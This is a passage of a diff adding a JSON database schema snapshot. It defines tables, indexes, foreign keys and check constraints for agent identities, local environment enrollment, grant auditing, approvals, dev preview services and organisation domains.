true, + "default": "'local'" + }, + "ownerId": { + "name": "ownerId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "label": { + "name": "label", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "enrollmentId": { + "name": "enrollmentId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "machinePublicKey": { + "name": "machinePublicKey", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "machineKeyFingerprint": { + "name": "machineKeyFingerprint", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "serverKeyId": { + "name": "serverKeyId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "enrollmentCodeHash": { + "name": "enrollmentCodeHash", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "enrollmentCodeExpiresAt": { + "name": "enrollmentCodeExpiresAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "enrollmentCodeUsedAt": { + "name": "enrollmentCodeUsedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "challengeNonce": { + "name": "challengeNonce", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "challengeIssuedAt": { + "name": "challengeIssuedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "challengeExpiresAt": { + "name": "challengeExpiresAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "challengeUsedAt": { + "name": "challengeUsedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "capabilities": { + "name": "capabilities", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "daemonEpoch": { + "name": "daemonEpoch", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "ownerCredentials": { + "name": "ownerCredentials", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "serverPolicy": { + "name": "serverPolicy", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{\"ops\":[],\"checkpoint\":false}'::jsonb" + }, + "bindPolicy": { + "name": "bindPolicy", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'owner'" + }, + "lastSeenAt": { + "name": "lastSeenAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "enrolledAt": { + "name": "enrolledAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "revokedAt": { + "name": "revokedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "pausedAt": { + "name": "pausedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "pauseOwedAt": { + "name": "pauseOwedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "drive_env_local_owner_id_idx": { + "name": "drive_env_local_owner_id_idx", + "columns": [ + { + "expression": "ownerId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "drive_env_local_ownerId_users_id_fk": { + "name": "drive_env_local_ownerId_users_id_fk", + "tableFrom": "drive_env_local", + "tableTo": "users", + "columnsFrom": [ + "ownerId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "drive_env_local_envId_substrate_drive_envs_id_substrate_fk": { + "name": "drive_env_local_envId_substrate_drive_envs_id_substrate_fk", + "tableFrom": "drive_env_local", + "tableTo": "drive_envs", + "columnsFrom": [ + "envId", + "substrate" + ], + "columnsTo": [ + "id", + "substrate" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "drive_env_local_enrollment_id_unique": { + "name": "drive_env_local_enrollment_id_unique", + "nullsNotDistinct": false, + "columns": [ + "enrollmentId" + ] + } + }, + "policies": {}, + "checkConstraints": { + "drive_env_local_substrate_check": { + "name": "drive_env_local_substrate_check", + "value": "\"drive_env_local\".\"substrate\" = 'local'" + }, + "drive_env_local_enrolled_has_key_check": { + "name": "drive_env_local_enrolled_has_key_check", + "value": "\"drive_env_local\".\"enrolledAt\" IS NULL OR (\"drive_env_local\".\"machinePublicKey\" IS NOT NULL AND \"drive_env_local\".\"machineKeyFingerprint\" IS NOT NULL AND \"drive_env_local\".\"serverKeyId\" IS NOT NULL)" + }, + "drive_env_local_bind_policy_check": { + "name": "drive_env_local_bind_policy_check", + "value": "\"drive_env_local\".\"bindPolicy\" IN ('owner')" + } + }, + "isRLSEnabled": false + }, + "public.drive_env_grant_audit": { + "name": "drive_env_grant_audit", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "envId": { + "name": "envId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "grantId": { + "name": "grantId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "sessionId": { + "name": "sessionId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "conversationId": { + "name": "conversationId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "op": { + "name": "op", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "argsHash": { + "name": "argsHash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "summary": { + "name": "summary", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "verdict": { + "name": "verdict", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "exitCode": { + "name": "exitCode", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "challengeId": { + "name": "challengeId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "approvalScope": { + "name": "approvalScope", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "ts": { + "name": "ts", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "resultAt": { + "name": "resultAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "drive_env_grant_audit_env_ts_idx": { + "name": "drive_env_grant_audit_env_ts_idx", + "columns": [ + { + "expression": "envId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "ts", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "drive_env_grant_audit_user_ts_idx": { + "name": "drive_env_grant_audit_user_ts_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "ts", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "drive_env_grant_audit_grant_id_unique": { + "name": "drive_env_grant_audit_grant_id_unique", + "columns": [ + { + "expression": "grantId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"drive_env_grant_audit\".\"grantId\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "drive_env_grant_audit_envId_drive_envs_id_fk": { + "name": "drive_env_grant_audit_envId_drive_envs_id_fk", + "tableFrom": "drive_env_grant_audit", + "tableTo": "drive_envs", + "columnsFrom": [ + "envId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "drive_env_grant_audit_userId_users_id_fk": { + "name": "drive_env_grant_audit_userId_users_id_fk", + "tableFrom": "drive_env_grant_audit", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "drive_env_grant_audit_op_check": { + "name": "drive_env_grant_audit_op_check", + "value": "\"drive_env_grant_audit\".\"op\" IN ('exec', 'fs_read', 'fs_write', 'pty_open')" + }, + "drive_env_grant_audit_grant_id_refused_check": { + "name": "drive_env_grant_audit_grant_id_refused_check", + "value": "(\"drive_env_grant_audit\".\"grantId\" IS NULL) = (\"drive_env_grant_audit\".\"verdict\" LIKE 'refused:%')" + } + }, + "isRLSEnabled": false + }, + "public.drive_env_approvals": { + "name": "drive_env_approvals", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "envId": { + "name": "envId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "op": { + "name": "op", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "summary": { + "name": "summary", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "scope": { + "name": "scope", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "daemonEpoch": { + "name": "daemonEpoch", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "expiresAt": { + "name": "expiresAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "revokedAt": { + "name": "revokedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "revokedBy": { + "name": "revokedBy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "revokeAcknowledgedAt": { + "name": "revokeAcknowledgedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "revokeRemoved": { + "name": "revokeRemoved", + "type": "integer", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "drive_env_approvals_env_idx": { + "name": "drive_env_approvals_env_idx", + "columns": [ + { + "expression": "envId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "createdAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "drive_env_approvals_user_idx": { + "name": "drive_env_approvals_user_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "createdAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "drive_env_approvals_envId_drive_envs_id_fk": { + "name": "drive_env_approvals_envId_drive_envs_id_fk", + "tableFrom": "drive_env_approvals", + "tableTo": "drive_envs", + "columnsFrom": [ + "envId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "drive_env_approvals_userId_users_id_fk": { + "name": "drive_env_approvals_userId_users_id_fk", + "tableFrom": "drive_env_approvals", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "drive_env_approvals_scope_check": { + "name": "drive_env_approvals_scope_check", + "value": "\"drive_env_approvals\".\"scope\" IN ('session', '30d', 'until_revoked')" + }, + "drive_env_approvals_ack_needs_revoke_check": { + "name": "drive_env_approvals_ack_needs_revoke_check", + "value": "\"drive_env_approvals\".\"revokeAcknowledgedAt\" IS NULL OR \"drive_env_approvals\".\"revokedAt\" IS NOT NULL" + } + }, + "isRLSEnabled": false + }, + "public.dev_preview_services": { + "name": "dev_preview_services", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "workspaceId": { + "name": "workspaceId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "envId": { + "name": "envId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "spriteInstanceId": { + "name": "spriteInstanceId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "sandboxId": { + "name": "sandboxId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "targetPort": { + "name": "targetPort", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "relayServiceName": { + "name": "relayServiceName", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "detectedAt": { + "name": "detectedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "stoppedByUserAt": { + "name": "stoppedByUserAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "approvedPort": { + "name": "approvedPort", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "approvedAt": { + "name": "approvedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "approvedByUserId": { + "name": "approvedByUserId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "selectedByUserAt": { + "name": "selectedByUserAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "dev_preview_services_sprite_instance_idx": { + "name": "dev_preview_services_sprite_instance_idx", + "columns": [ + { + "expression": "spriteInstanceId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "dev_preview_services_workspace_id_idx": { + "name": "dev_preview_services_workspace_id_idx", + "columns": [ + { + "expression": "workspaceId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"dev_preview_services\".\"workspaceId\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "dev_preview_services_env_id_idx": { + "name": "dev_preview_services_env_id_idx", + "columns": [ + { + "expression": "envId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"dev_preview_services\".\"envId\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "dev_preview_services_workspaceId_agent_workspaces_id_fk": { + "name": "dev_preview_services_workspaceId_agent_workspaces_id_fk", + "tableFrom": "dev_preview_services", + "tableTo": "agent_workspaces", + "columnsFrom": [ + "workspaceId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "dev_preview_services_envId_drive_envs_id_fk": { + "name": "dev_preview_services_envId_drive_envs_id_fk", + "tableFrom": "dev_preview_services", + "tableTo": "drive_envs", + "columnsFrom": [ + "envId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "dev_preview_services_approvedByUserId_users_id_fk": { + "name": "dev_preview_services_approvedByUserId_users_id_fk", + "tableFrom": "dev_preview_services", + "tableTo": "users", + "columnsFrom": [ + "approvedByUserId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "dev_preview_services_one_holder_check": { + "name": "dev_preview_services_one_holder_check", + "value": "(\"dev_preview_services\".\"workspaceId\" IS NULL) <> (\"dev_preview_services\".\"envId\" IS NULL)" + }, + "dev_preview_services_target_port_range_check": { + "name": "dev_preview_services_target_port_range_check", + "value": "\"dev_preview_services\".\"targetPort\" BETWEEN 1 AND 65535" + }, + "dev_preview_services_relay_never_8080_check": { + "name": "dev_preview_services_relay_never_8080_check", + "value": "\"dev_preview_services\".\"relayServiceName\" IS NULL OR \"dev_preview_services\".\"targetPort\" <> 8080" + }, + "dev_preview_services_approved_port_range_check": { + "name": "dev_preview_services_approved_port_range_check", + "value": "\"dev_preview_services\".\"approvedPort\" IS NULL OR \"dev_preview_services\".\"approvedPort\" BETWEEN 1 AND 65535" + }, + "dev_preview_services_approved_paired_check": { + "name": "dev_preview_services_approved_paired_check", + "value": "(\"dev_preview_services\".\"approvedPort\" IS NULL) = (\"dev_preview_services\".\"approvedAt\" IS NULL)" + } + }, + "isRLSEnabled": false + }, + "public.dev_preview_grants": { + "name": "dev_preview_grants", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "holderKind": { + "name": "holderKind", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "holderId": { + "name": "holderId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "sessionId": { + "name": "sessionId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "expiresAt": { + "name": "expiresAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "cookieExpiresAt": { + "name": "cookieExpiresAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "consumedAt": { + "name": "consumedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "dev_preview_grants_expires_at_idx": { + "name": "dev_preview_grants_expires_at_idx", + "columns": [ + { + "expression": "expiresAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "dev_preview_grants_userId_users_id_fk": { + "name": "dev_preview_grants_userId_users_id_fk", + "tableFrom": "dev_preview_grants", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "dev_preview_grants_sessionId_sessions_id_fk": { + "name": "dev_preview_grants_sessionId_sessions_id_fk", + "tableFrom": "dev_preview_grants", + "tableTo": "sessions", + "columnsFrom": [ + "sessionId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "dev_preview_grants_holder_kind_check": { + "name": "dev_preview_grants_holder_kind_check", + "value": "\"dev_preview_grants\".\"holderKind\" IN ('workspace', 'env')" + } + }, + "isRLSEnabled": false + }, + "public.agent_account_grant_nonces": { + "name": "agent_account_grant_nonces", + "schema": "", + "columns": { + "nonce": { + "name": "nonce", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "grantId": { + "name": "grantId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "expiresAt": { + "name": "expiresAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "consumedAt": { + "name": "consumedAt", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "agent_account_grant_nonces_expires_at_idx": { + "name": "agent_account_grant_nonces_expires_at_idx", + "columns": [ + { + "expression": "expiresAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.agent_claims": { + "name": "agent_claims", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "agentUserId": { + "name": "agentUserId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "ownerUserId": { + "name": "ownerUserId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "userCodeHash": { + "name": "userCodeHash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "expiresAt": { + "name": "expiresAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "approvedAt": { + "name": "approvedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "deniedAt": { + "name": "deniedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "redeemedAt": { + "name": "redeemedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "lastPolledAt": { + "name": "lastPolledAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "pollIntervalSeconds": { + "name": "pollIntervalSeconds", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 5 + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "agent_claims_agent_user_id_idx": { + "name": "agent_claims_agent_user_id_idx", + "columns": [ + { + "expression": "agentUserId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "createdAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "agent_claims_owner_user_id_idx": { + "name": "agent_claims_owner_user_id_idx", + "columns": [ + { + "expression": "ownerUserId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "agent_claims_expires_at_idx": { + "name": "agent_claims_expires_at_idx", + "columns": [ + { + "expression": "expiresAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "agent_claims_agentUserId_users_id_fk": { + "name": "agent_claims_agentUserId_users_id_fk", + "tableFrom": "agent_claims", + "tableTo": "users", + "columnsFrom": [ + "agentUserId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "agent_claims_ownerUserId_users_id_fk": { + "name": "agent_claims_ownerUserId_users_id_fk", + "tableFrom": "agent_claims", + "tableTo": "users", + "columnsFrom": [ + "ownerUserId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "agent_claims_userCodeHash_unique": { + "name": "agent_claims_userCodeHash_unique", + "nullsNotDistinct": false, + "columns": [ + "userCodeHash" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.agent_identities": { + "name": "agent_identities", + "schema": "", + "columns": { + "userId": { + "name": "userId", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "secretHash": { + "name": "secretHash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "secretPrefix": { + "name": "secretPrefix", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "secretVersion": { + "name": "secretVersion", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 1 + }, + "source": { + "name": "source", + "type": "varchar(120)", + "primaryKey": false, + "notNull": false + }, + "ownerUserId": { + "name": "ownerUserId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "claimedAt": { + "name": "claimedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "createdByIp": { + "name": "createdByIp", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "lastAuthAt": { + "name": "lastAuthAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "revokedAt": { + "name": "revokedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "agent_identities_owner_user_id_idx": { + "name": "agent_identities_owner_user_id_idx", + "columns": [ + { + "expression": "ownerUserId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "agent_identities_created_at_idx": { + "name": "agent_identities_created_at_idx", + "columns": [ + { + "expression": "createdAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "agent_identities_userId_users_id_fk": { + "name": "agent_identities_userId_users_id_fk", + "tableFrom": "agent_identities", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "agent_identities_ownerUserId_users_id_fk": { + "name": "agent_identities_ownerUserId_users_id_fk", + "tableFrom": "agent_identities", + "tableTo": "users", + "columnsFrom": [ + "ownerUserId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "agent_identities_secretHash_unique": { + "name": "agent_identities_secretHash_unique", + "nullsNotDistinct": false, + "columns": [ + "secretHash" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.agent_signup_challenges": { + "name": "agent_signup_challenges", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "challengeHash": { + "name": "challengeHash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "difficultyBits": { + "name": "difficultyBits", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "expiresAt": { + "name": "expiresAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "consumedAt": { + "name": "consumedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "agent_signup_challenges_expires_at_idx": { + "name": "agent_signup_challenges_expires_at_idx", + "columns": [ + { + "expression": "expiresAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "agent_signup_challenges_challengeHash_unique": { + "name": "agent_signup_challenges_challengeHash_unique", + "nullsNotDistinct": false, + "columns": [ + "challengeHash" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.org_audit_outbox": { + "name": "org_audit_outbox", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "seq": { + "name": "seq", + "type": "bigserial", + "primaryKey": false, + "notNull": true + }, + "orgId": { + "name": "orgId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "eventType": { + "name": "eventType", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "actorId": { + "name": "actorId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "resourceType": { + "name": "resourceType", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "resourceId": { + "name": "resourceId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "driveId": { + "name": "driveId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "details": { + "name": "details", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "attempts": { + "name": "attempts", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "lastError": { + "name": "lastError", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "deadLetteredAt": { + "name": "deadLetteredAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "nextAttemptAt": { + "name": "nextAttemptAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "(now() at time zone 'utc')" + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "(now() at time zone 'utc')" + } + }, + "indexes": { + "org_audit_outbox_next_attempt_idx": { + "name": "org_audit_outbox_next_attempt_idx", + "columns": [ + { + "expression": "nextAttemptAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.org_departure_suppressions": { + "name": "org_departure_suppressions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "orgId": { + "name": "orgId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "emailHash": { + "name": "emailHash", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "(now() at time zone 'utc')" + } + }, + "indexes": {}, + "foreignKeys": { + "org_departure_suppressions_orgId_organizations_id_fk": { + "name": "org_departure_suppressions_orgId_organizations_id_fk", + "tableFrom": "org_departure_suppressions", + "tableTo": "organizations", + "columnsFrom": [ + "orgId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "org_departure_suppressions_org_email_key": { + "name": "org_departure_suppressions_org_email_key", + "nullsNotDistinct": false, + "columns": [ + "orgId", + "emailHash" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.org_domains": { + "name": "org_domains", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "orgId": { + "name": "orgId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "domain": { + "name": "domain", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "dnsToken": { + "name": "dnsToken", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "emailTokenHash": { + "name": "emailTokenHash", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "emailTokenExpiresAt": { + "name": "emailTokenExpiresAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "emailSentTo": { + "name": "emailSentTo", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "verifiedAt": { + "name": "verifiedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "verifiedMethod": { + "name": "verifiedMethod", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "createdBy": { + "name": "createdBy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "(now() at time zone 'utc')" + } + }, + "indexes": { + "org_domains_verified_domain_key": { + "name": "org_domains_verified_domain_key", + "columns": [ + { + "expression": "domain", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"org_domains\".\"verifiedAt\" IS NOT NULL", + "concurrently": false, + 